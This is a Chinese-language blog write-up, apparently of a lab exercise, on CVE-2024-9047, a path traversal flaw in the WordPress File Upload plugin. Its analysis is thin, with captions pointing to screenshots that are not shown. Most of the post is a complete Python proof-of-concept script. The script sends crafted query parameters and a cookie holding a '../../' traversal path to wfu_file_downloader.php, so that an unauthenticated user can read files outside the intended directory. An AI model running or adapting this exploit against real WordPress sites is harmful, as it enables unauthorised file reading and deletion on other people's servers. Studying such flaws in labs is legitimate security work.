一、靶场介绍
WordPress 的 File Upload 插件在所有版本(包括 4.24.11)中都存在路径遍历漏洞,漏洞位于 wfu_file_downloader.php 文件中。这使得未经身份验证的攻击者可以读取或删除超出原定目录之外的文件。

漏洞分析
调用函数 wfu_fopen_for_downloader

这里调用了wfu_fopen_for_downloader

这两个地方也调用了

寻找参数的传入位置

二、POC
import requests
import time
import argparse
def exploit(target_url):
timestamp = str(int(time.time()))
path = "/wp-content/plugins/wp-file-upload/wfu_file_downloader.php"
query_params = {
'file': 'yosheep',
'handler': 'dboption',
'session_legacy': '1',
'dboption_base': 'cookies',
'dboption_useold': '1',
'wfu_cookie': '1',
'ticket': 'yosheep'
}
cookies = {
f'wfu_storage_yosheep': '/../../../../../../flag',
f'wfu_download_ticket_yosheep': timestamp,
'wfu_ABSPATH': '/var/www/html/'
}
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
}
try:
response = requests.get(
f"{target_url.rstrip('/')}{path}",
params=query_params,
cookies=cookies,
headers=headers,
timeout=10
)
response.raise_for_status()
return response.text
except requests.exceptions.RequestException as e:
return f"请求失败: {str(e)}"
def main():
parser = argparse.ArgumentParser(description='CVE-2024-9047漏洞利用工具')
parser.add_argument('url', help='目标URL(包含协议,如http://example.com)')
args = parser.parse_args()
result = exploit(args.url)
print(f"结果返回:\n{result}")
if __name__ == '__main__':
main()
获取flag

最后也没看明白为什么传入地方时cookie,可能是在函数处理时对cookie的值进行引入了。
感兴趣的可以看这个位博主的文章:
(CVE-2024-9047)wordpress插件wp-file-upload任意文件读取分析及复现(含payload)

1537

被折叠的 条评论
为什么被折叠?



